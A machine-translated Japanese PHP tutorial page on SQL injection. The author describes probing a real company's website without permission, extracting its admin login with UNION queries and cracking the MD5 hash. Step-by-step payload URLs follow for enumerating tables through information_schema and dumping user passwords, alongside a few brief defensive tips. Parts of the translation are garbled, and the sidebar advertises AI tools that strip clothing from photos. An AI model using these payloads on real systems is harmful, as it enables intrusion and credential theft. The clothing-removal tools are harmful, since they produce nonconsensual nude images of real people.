ホームページ バックエンド開発 PHPチュートリアル php_PHP チュートリアルでの一般的な SQL インジェクション方法の概要

php_PHP チュートリアルでの一般的な SQL インジェクション方法の概要

Jul 13, 2016 am 10:47 AM
php sql 優れた 利用 要約する 受け入れる 情報処理 方法 注射 文法

SQL インジェクションとは、構文やデータ処理のバグを利用してデータベースを爆発させ、データをダウンロードするか、管理者に Web サイトに影響を与える操作を直接入力させることです。しかし、SQL インジェクションにはそれらのバグがあります。人々の使用に関しては、以下のエディターがいくつかの基本的な方法と少し高度な方法を集めました。それらは学習と参考のためにのみ使用され、その他は無視されます。

最も基本的なSQLインジェクション脆弱性対策方法

大学は今朝ミーティングを開き、卒業インターンシップとデザインについて話し合った。また、明日企業が採用活動を行う予定であることも説明され、興味のある人は会社のウェブサイトに戻って見るよう呼びかけた。もちろん私はペーパーンには興味がありませんが、寮のクラスメートであるシャオファが少し興味を持っていて、帰ってきたときにウェブサイトを見てみました。でも…?

Paperen の Web サイトも見てみました。ASP なので、理由はわかりませんが、SQL インジェクションの脆弱性があるかどうかを確認するために突然 Web サイトにアクセスしました。いくつかのページを見て、企業ニュースに移動すると、ニュース URL が xwzx_content.asp?id=456 です (値を渡すのが通常ですが、ID 値に従ってデータベースを確認して表示することも合理的です)。対応するデータ)ですが...?

paperen パラメータをxwzx_content.asp?id=456と1=1に変更して試してみたところ、id=456と同じ表示になりました。 (脆弱性の有無を証明するものではありません)?

それからもう一度試してください

コードは次のとおりです コードをコピー
xwzx_content.asp?id=456 および '1'='1

結果は

データベース内でテーブルを見つけてこのステートメントを試すだけなので、エラー メッセージから脆弱性があることがわかりますか?

select * from table where id=1 and 1=1 (特定のレコードの ID 番号) 実際、1=1 が true であるため、1=1 を追加することは追加しないことと同じ結果になります。間違いなく実行できます 実行は終了しましたが、1=2 の場合は機能しません。明らかに 1 は 2 に等しくなく、偽であるため、データは見つかりません。 ?

その後、ステートメント

xwzx_content.asp?id=456 または 1=1 の構築を続けます。結果は

ID 番号 456 のデータが存在するかどうかに関係なく、前の 1=1 (true) の結果も true であるため、この結果が得られることは明らかです。 ?

上記の操作により、このページに SQL インジェクションの脆弱性が存在することが確認されました。主に RP に基づいて、取得したい情報を明らかにするために正式なインジェクションを開始しましょう。 ?

管理パスワードとアカウント番号をクエリするには、union を使用する必要があります。もちろん、管理者のテーブルの名前を推測する必要があることが前提です。 ?

paperen私が最初に思いついたのは、管理者、試してみてください。

管理者からの

1.xwzx_content.asp?id=456?union select?* 結果は


フィールドの数が一致しないというメッセージが表示されるので、フィールドの数を推測しましょう

管理者からの

1.xwzx_content.asp?id=456?union select?1,2,3,4,5,6 結果は

このテーブルには 10 個のフィールドがあり、そのうち 4 個がページに表示されます。ここで何が起こっているのかよく理解していないかもしれませんが、mysql で自分のスクリーンショットを投稿したほうがよいでしょう。

1.sqlコマンドは SELECT * FROM `paper_blog` WHERE id =1 UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 FROM member

?

2 行目の 1、2、3、4、5 を見てください。とにかく、union の結合クエリを使用したことがあるかどうかはわかりません。簡単に言うと、他のテーブルのデータをクエリします。 。 やって来る。 ?

管理者アカウントを入力したフィールド名を推測してみましょう。

管理者からの

1.xwzx_content.asp?id=456?union select?1,2,3,name,5,6 結果は

これは、推測が間違っていたことを証明します。推測を続けて管理者に電話してください。へー、それは真実であることが判明しました。


管理者のアカウントが管理者であることが明らかになり、次にパスワードが明らかになります。パスワードを推測しましょう。

管理者からの

1.xwzx_content.asp?id=456?union select?1,2,3,password,5,6 結果は


パスワードは32ビットでMD5で暗号化されているはずですが、Ctrl+CでオンラインのMD5復号サイトをいくつか見てみたら、パスワードも管理者になっていました…セキュリティ意識が低すぎます。 ?

アカウントとパスワードはすでに持っていますが、他に足りないものはありますか?これは明らかにバックエンドのアドレスですが、正しいアドレスを持っているかどうかはまだわかりません。ああ、これを見て少しがっかりしたでしょうか。 Paperen も使っていますが、忘れてください。最初にブログ投稿を公開する必要があります。触れる時間がありません。とにかくこのサイトの印象はあまり良くなかったし、会社もあまり良くなかったのかもしれない。 ?

実際、Web サイトに侵入することは簡単ではありませんし、侵入を防ぐことも簡単ではありません。しかし、上記のことから、このような非常に低レベルの間違いを防ぐためのいくつかのポイントがわかります。 ?

1.getで渡されたパラメータをフィルタリングして判定する

2. 独自のデータベースを構築するために、一部のオープンソース プログラムのデータベース テーブルやテーブル名を参照しないでください

3. 少なくとも管理者、管理者 888 などではなく、より複雑なパスワードを使用します

4. 背景ファイルを配置するフォルダーの名前は、誰も簡単に推測できないように特別な名前に変更するのが最善です

5. ASP Web サイトのデータベース ファイルの場合、ダウンロードされないようにサフィックスを asp に変更するのが最善です?


もう少し高度な SQL インジェクション

「$_GET からのデータを処理する方法はこれですか?」で書かれた SQL を思い出してください。

コードは次のとおりです コードをコピー
1.$sql = 'select * from Goods where id='.$id;

受信データをフィルタリングしないこと、または単一引用符で囲んでいないことによって引き起こされる問題は、データベース内の他のテーブルを推測できれば、Paperen が今回求めている他のテーブルの内容も見つけることができることは、この記事で非常に明確です。この脆弱性を利用するためのより高度なテクニックについて説明します。

ここで脆弱性があることが確認できた場合、(それを証明する方法は?簡単に言うと、個別にテストし、パラメータを id=1=1 と id=1=2 に変更します。その後、ページを見て確認してください)表示されている情報が一致していれば脆弱性があることになりますが、脆弱性があることが確認できたとしても、推測できない場合はどうすればよいでしょうか。他のテーブルのテーブル名?非常に邪悪なトリックを使用して、まず挿入された URL を解放します。

現在のデータベース名を明らかにする

1.URL:

コードは次のとおりです コードをコピー
http://localhost/mytest/sqlinject/?id=-1+UNION+select+1,2,3,database(),5,6,7,8,9+from+information_schema.columns2.SQL:SELECT * FROM 商品 WHERE id=-1 UNION SELECT 1,2,3,DATABASE(),5,6,7,8,9 FROM information_schema.columns

次に、データベース test の 16 進値を取得し、テスト データベース内のテーブル名をポップアップします (テスト select hex('test') の 16 進値を取得し、それを mysql に入れて実行し、結果を確認します。 に 74657374 を追加します。先頭に 0x、16 進数)

1.URL:

コードは次のとおりです コードをコピー
http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,2,3,GROUP_CONCAT(DISTINCT(table_name)),5,6,7,8,9+FROM+information_schema.columns +AS+c+WHERE+c.table_schema=0x746573742.SQL:SELECT * FROM test.goods WHERE id = -1 UNION SELECT 1、2、3、GROUP_CONCAT(DISTINCT テーブル名)、5、6、7、8、9 FROM information_schema.columns AS c WHERE c.table_schema = 0x74657374

次に、ユーザー テーブルの 16 進値を入力し、ユーザー テーブルのフィールドを確認します。これは、and を追加することをお勧めします。ユーザー テーブルが複数ある場合は、結果が誤解を招く可能性があります。あなた。

1.URL:

コードは次のとおりです コードをコピー
http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,2,3,GROUP_CONCAT(DISTINCT(column_name)),5,6,7,8,9+FROM+information_schema.columns +WHERE+table_name=0x75736572+AND+TABLE_SCHEMA=0x746573742.SQL:select * from Goods where id=-1 UNION SELECT 1,2,3,GROUP_CONCAT(DISTINCT(column_name)),5,6,7,8,9 FROM information_schema.columns WHERE table_name=0x75736572 AND TABLE_SCHEMA=0x74657374

わかりました!欲しい情報が少しずつ手に入るって面白いじゃないですか。で、パペレンさんは、こういうのはクセになるよって言ってました。

その後、彼のユーザーリストのクリアコードを直接公開します。

コードは次のとおりです コードをコピー

URL: http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,パスワード,3,ユーザー名,5,6,7,8,9+FROM+user2.SQL:select * from id=-1 の商品 UNION SELECT 1,パスワード,3,ユーザー名,5,6,7,8,9 FROM ユーザー

ただし、ユーザーテーブルには複数のユーザーデータが存在する可能性があるため、制限を追加してください

コードは次のとおりです コードをコピー
1.URL:http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,パスワード,3,ユーザー名,5,6,7,8,9+FROM+ユーザー+制限+1 ,12.SQL:select * from Goods where id=-1 UNION SELECT 1,password,3,username,5,6,7,8,9 FROM userlimit 1,1

次に、取得したパスワードを取得します
クラックしてクリア コー​​ドを取得し、バックエンド パスを知り、ユーザー アカウントとクラックされたパスワードを使用してバックエンドにログインします。ただし、Paperen の次の 2 つのステップは、パスワードがより複雑になっている場合にも依存します。たとえクラックされたとしても、バックエンドアドレスを見つける必要があります。それで…それだけです。ただの楽しみのためです。 (追記: ファイルのパスも推測できれば、load_file を使用してサーバー上のいくつかのファイルの内容を取得することもできます)

www.bkjia.com本当http://www.bkjia.com/PHPjc/632825.html技術記事 SQL インジェクションとは、構文やデータ処理のバグを利用してデータベースを爆発させ、データをダウンロードするか、管理者に Web サイトに影響を与える操作を直接入力させることです...
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

Ubuntu および Debian 用の PHP 8.4 インストールおよびアップグレード ガイド Ubuntu および Debian 用の PHP 8.4 インストールおよびアップグレード ガイド Dec 24, 2024 pm 04:42 PM

PHP 8.4 では、いくつかの新機能、セキュリティの改善、パフォーマンスの改善が行われ、かなりの量の機能の非推奨と削除が行われています。 このガイドでは、Ubuntu、Debian、またはその派生版に PHP 8.4 をインストールする方法、または PHP 8.4 にアップグレードする方法について説明します。

PHP 開発用に Visual Studio Code (VS Code) をセットアップする方法 PHP 開発用に Visual Studio Code (VS Code) をセットアップする方法 Dec 20, 2024 am 11:31 AM

Visual Studio Code (VS Code とも呼ばれる) は、すべての主要なオペレーティング システムで利用できる無料のソース コード エディター (統合開発環境 (IDE)) です。 多くのプログラミング言語の拡張機能の大規模なコレクションを備えた VS Code は、

今まで知らなかったことを後悔している 7 つの PHP 関数 今まで知らなかったことを後悔している 7 つの PHP 関数 Nov 13, 2024 am 09:42 AM

あなたが経験豊富な PHP 開発者であれば、すでにそこにいて、すでにそれを行っていると感じているかもしれません。あなたは、運用を達成するために、かなりの数のアプリケーションを開発し、数百万行のコードをデバッグし、大量のスクリプトを微調整してきました。

PHPでHTML/XMLを解析および処理するにはどうすればよいですか? PHPでHTML/XMLを解析および処理するにはどうすればよいですか? Feb 07, 2025 am 11:57 AM

このチュートリアルでは、PHPを使用してXMLドキュメントを効率的に処理する方法を示しています。 XML(拡張可能なマークアップ言語)は、人間の読みやすさとマシン解析の両方に合わせて設計された多用途のテキストベースのマークアップ言語です。一般的にデータストレージに使用されます

JSON Web Tokens(JWT)とPHP APIでのユースケースを説明してください。 JSON Web Tokens(JWT)とPHP APIでのユースケースを説明してください。 Apr 05, 2025 am 12:04 AM

JWTは、JSONに基づくオープン標準であり、主にアイデンティティ認証と情報交換のために、当事者間で情報を安全に送信するために使用されます。 1。JWTは、ヘッダー、ペイロード、署名の3つの部分で構成されています。 2。JWTの実用的な原則には、JWTの生成、JWTの検証、ペイロードの解析という3つのステップが含まれます。 3. PHPでの認証にJWTを使用する場合、JWTを生成および検証でき、ユーザーの役割と許可情報を高度な使用に含めることができます。 4.一般的なエラーには、署名検証障害、トークンの有効期限、およびペイロードが大きくなります。デバッグスキルには、デバッグツールの使用とロギングが含まれます。 5.パフォーマンスの最適化とベストプラクティスには、適切な署名アルゴリズムの使用、有効期間を合理的に設定することが含まれます。

母音を文字列にカウントするPHPプログラム 母音を文字列にカウントするPHPプログラム Feb 07, 2025 pm 12:12 PM

文字列は、文字、数字、シンボルを含む一連の文字です。このチュートリアルでは、さまざまな方法を使用してPHPの特定の文字列内の母音の数を計算する方法を学びます。英語の母音は、a、e、i、o、u、そしてそれらは大文字または小文字である可能性があります。 母音とは何ですか? 母音は、特定の発音を表すアルファベットのある文字です。大文字と小文字など、英語には5つの母音があります。 a、e、i、o、u 例1 入力:string = "tutorialspoint" 出力:6 説明する 文字列「TutorialSpoint」の母音は、u、o、i、a、o、iです。合計で6元があります

PHPでの後期静的結合を説明します(静的::)。 PHPでの後期静的結合を説明します(静的::)。 Apr 03, 2025 am 12:04 AM

静的結合(静的::) PHPで後期静的結合(LSB)を実装し、クラスを定義するのではなく、静的コンテキストで呼び出しクラスを参照できるようにします。 1)解析プロセスは実行時に実行されます。2)継承関係のコールクラスを検索します。3)パフォーマンスオーバーヘッドをもたらす可能性があります。

PHPマジックメソッド(__construct、__destruct、__call、__get、__setなど)とは何ですか? PHPマジックメソッド(__construct、__destruct、__call、__get、__setなど)とは何ですか? Apr 03, 2025 am 12:03 AM

PHPの魔法の方法は何ですか? PHPの魔法の方法には次のものが含まれます。1。\ _ \ _コンストラクト、オブジェクトの初期化に使用されます。 2。\ _ \ _リソースのクリーンアップに使用される破壊。 3。\ _ \ _呼び出し、存在しないメソッド呼び出しを処理します。 4。\ _ \ _ get、dynamic属性アクセスを実装します。 5。\ _ \ _セット、動的属性設定を実装します。これらの方法は、特定の状況で自動的に呼び出され、コードの柔軟性と効率を向上させます。

See all articles